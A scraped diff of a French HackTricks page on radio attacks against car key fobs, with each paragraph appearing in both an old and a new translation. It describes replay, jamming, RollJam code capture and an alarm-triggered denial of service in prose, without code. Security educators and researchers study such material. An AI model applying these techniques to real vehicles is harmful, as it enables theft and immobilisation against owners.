Essentiellement, vous écoutez le bouton et **capturez le signal pendant que la télécommande est hors de portée** de l'appareil (par exemple la voiture ou le garage). Vous vous déplacez ensuite vers l'appareil et **utilisez le code capturé pour l'ouvrir**.
|
||||
En gros, vous écoutez le bouton et **capturez le signal pendant que la télécommande est hors de portée** de l'appareil (disons la voiture ou le garage). Vous vous déplacez ensuite vers l'appareil et **utilisez le code capturé pour l'ouvrir**.
|
||||
|
||||
### Attaque de brouillage de lien complet
|
||||
### Attaque par Brouillage de Liaison Complète
|
||||
|
||||
Un attaquant pourrait **brouiller le signal près du véhicule ou du récepteur** de sorte que le **récepteur ne puisse pas "entendre" le code**, et une fois que cela se produit, vous pouvez simplement **capturer et rejouer** le code lorsque vous avez arrêté de brouiller.
|
||||
Un attaquant pourrait **brouiller le signal près du véhicule ou du récepteur** de sorte que le **récepteur ne puisse pas réellement 'entendre' le code**, et une fois cela fait, vous pouvez simplement **capturer et rejouer** le code lorsque vous avez arrêté de brouiller.
|
||||
|
||||
La victime à un moment donné utilisera les **clés pour verrouiller la voiture**, mais ensuite l'attaque aura **enregistré suffisamment de codes de "fermeture de porte"** qui pourraient être renvoyés pour ouvrir la porte (un **changement de fréquence pourrait être nécessaire** car il y a des voitures qui utilisent les mêmes codes pour ouvrir et fermer mais écoutent les deux commandes à des fréquences différentes).
|
||||
La victime à un moment donné utilisera les **clés pour verrouiller la voiture**, mais ensuite l'attaque aura **enregistré suffisamment de codes "fermer la porte"** qui pourraient être renvoyés pour ouvrir la porte (un **changement de fréquence pourrait être nécessaire** car il y a des voitures qui utilisent les mêmes codes pour ouvrir et fermer mais écoutent les deux commandes sur des fréquences différentes).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Le brouillage fonctionne, mais il est perceptible car si la **personne qui verrouille la voiture teste simplement les portes** pour s'assurer qu'elles sont verrouillées, elle remarquera que la voiture est déverrouillée. De plus, si elle était consciente de telles attaques, elle pourrait même écouter le fait que les portes n'ont jamais fait le **bruit** de verrouillage ou que les **feux** de la voiture n'ont jamais clignoté lorsqu'elle a appuyé sur le bouton "verrouiller".
|
||||
**Le brouillage fonctionne**, mais c'est perceptible car si la **personne verrouillant la voiture teste simplement les portes** pour s'assurer qu'elles sont verrouillées, elle remarquerait que la voiture est déverrouillée. De plus, s'ils étaient conscients de telles attaques, ils pourraient même écouter le fait que les portes n'ont jamais émis le **son** de verrouillage ou que les **lumières** de la voiture n'ont jamais clignoté lorsqu'ils ont appuyé sur le bouton de verrouillage.
|
||||
{% endhint %}
|
||||
### **Attaque de récupération de code (alias 'RollJam')**
|
||||
|
||||
Il s'agit d'une technique de brouillage plus **furtive**. L'attaquant va brouiller le signal, de sorte que lorsque la victime essaie de verrouiller la porte, cela ne fonctionne pas, mais l'attaquant va **enregistrer ce code**. Ensuite, la victime va **essayer de verrouiller la voiture à nouveau** en appuyant sur le bouton et la voiture va **enregistrer ce deuxième code**.\
|
||||
Immédiatement après cela, l'**attaquant peut envoyer le premier code** et la **voiture se verrouillera** (la victime pensera que la deuxième pression l'a fermée). Ensuite, l'attaquant pourra **envoyer le deuxième code volé pour ouvrir** la voiture (en supposant qu'un **code de "fermeture de voiture" peut également être utilisé pour l'ouvrir**). Un changement de fréquence peut être nécessaire (car il y a des voitures qui utilisent les mêmes codes pour ouvrir et fermer mais écoutent les deux commandes à des fréquences différentes).
|
||||
### **Attaque par Capture de Code (alias 'RollJam')**
|
||||
|
||||
L'attaquant peut **brouiller le récepteur de la voiture et non son propre récepteur** car si le récepteur de la voiture écoute par exemple une bande passante de 1 MHz, l'attaquant ne **brouillera pas** la fréquence exacte utilisée par la télécommande mais **une fréquence proche dans ce spectre** tandis que le **récepteur de l'attaquant écoutera dans une plage plus petite** où il peut écouter le signal de la télécommande **sans le signal de brouillage**.
|
||||
C'est une technique de brouillage plus **furtive**. L'attaquant va brouiller le signal, donc lorsque la victime essaie de verrouiller la porte, cela ne fonctionnera pas, mais l'attaquant va **enregistrer ce code**. Ensuite, la victime va **essayer de verrouiller la voiture à nouveau** en appuyant sur le bouton et la voiture va **enregistrer ce second code**.\
|
||||
Immédiatement après cela, l'**attaquant peut envoyer le premier code** et la **voiture se verrouillera** (la victime pensera que la deuxième pression l'a fermée). Ensuite, l'attaquant pourra **envoyer le deuxième code volé pour ouvrir** la voiture (en supposant qu'un **code "fermer la voiture" puisse aussi être utilisé pour l'ouvrir**). Un changement de fréquence pourrait être nécessaire (car il y a des voitures qui utilisent les mêmes codes pour ouvrir et fermer mais écoutent les deux commandes sur des fréquences différentes).
|
||||
|
||||
L'attaquant peut **brouiller le récepteur de la voiture et non son récepteur** parce que si le récepteur de la voiture écoute par exemple une bande passante de 1MHz, l'attaquant ne va pas **brouiller** la fréquence exacte utilisée par la télécommande mais **une proche dans ce spectre** tandis que le **récepteur de l'attaquant écoutera dans une plage plus petite** où il peut entendre le signal de la télécommande **sans le signal de brouillage**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
D'autres implémentations vues dans les spécifications montrent que le **code tournant est une partie** du code total envoyé. Par exemple, le code envoyé est une **clé de 24 bits** où les **12 premiers sont le code tournant**, les **8 suivants sont la commande** (comme verrouiller ou déverrouiller) et les 4 derniers sont le **checksum**. Les véhicules qui implémentent ce type sont également naturellement vulnérables car l'attaquant n'a qu'à remplacer le segment du code tournant pour pouvoir **utiliser n'importe quel code tournant sur les deux fréquences**.
|
||||
D'autres implémentations vues dans les spécifications montrent que le **code tournant est une portion** du code total envoyé. C'est-à-dire que le code envoyé est une **clé de 24 bits** où les premiers **12 sont le code tournant**, les **8 suivants sont la commande** (comme verrouiller ou déverrouiller) et les 4 derniers sont le **checksum**. Les véhicules mettant en œuvre ce type sont également naturellement susceptibles car l'attaquant a juste besoin de remplacer le segment de code tournant pour pouvoir **utiliser n'importe quel code tournant sur les deux fréquences**.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Notez que si la victime envoie un troisième code pendant que l'attaquant envoie le premier, le premier et le deuxième code seront invalidés.
|
||||
{% endhint %}
|
||||
|
||||
### Attaque de brouillage avec déclenchement d'alarme
|
||||
### Attaque par Brouillage avec Alarme
|
||||
|
||||
Lors des tests effectués sur un système de code tournant après-vente installé sur une voiture, **l'envoi du même code deux fois** a immédiatement **activé l'alarme** et l'antidémarrage, offrant ainsi une **opportunité de déni de service** unique. Ironiquement, la façon de **désactiver l'alarme** et l'antidémarrage était de **presser** la **télécommande**, offrant ainsi à un attaquant la possibilité de **réaliser continuellement une attaque par déni de service**. Ou combiner cette attaque avec la **précédente pour obtenir plus de codes**, car la victime voudrait arrêter l'attaque au plus vite.
|
||||
En testant contre un système de codes tournants après-vente installé sur une voiture, **envoyer le même code deux fois** a immédiatement **activé l'alarme** et l'immobilisateur offrant une opportunité unique de **déni de service**. Ironiquement, le moyen de **désactiver l'alarme** et l'immobilisateur était de **presser** la **télécommande**, offrant à un attaquant la possibilité de **continuer à effectuer une attaque DoS**. Ou combinez cette attaque avec la **précédente pour obtenir plus de codes** car la victime voudrait arrêter l'attaque au plus vite.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -98,12 +101,14 @@ Lors des tests effectués sur un système de code tournant après-vente install
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue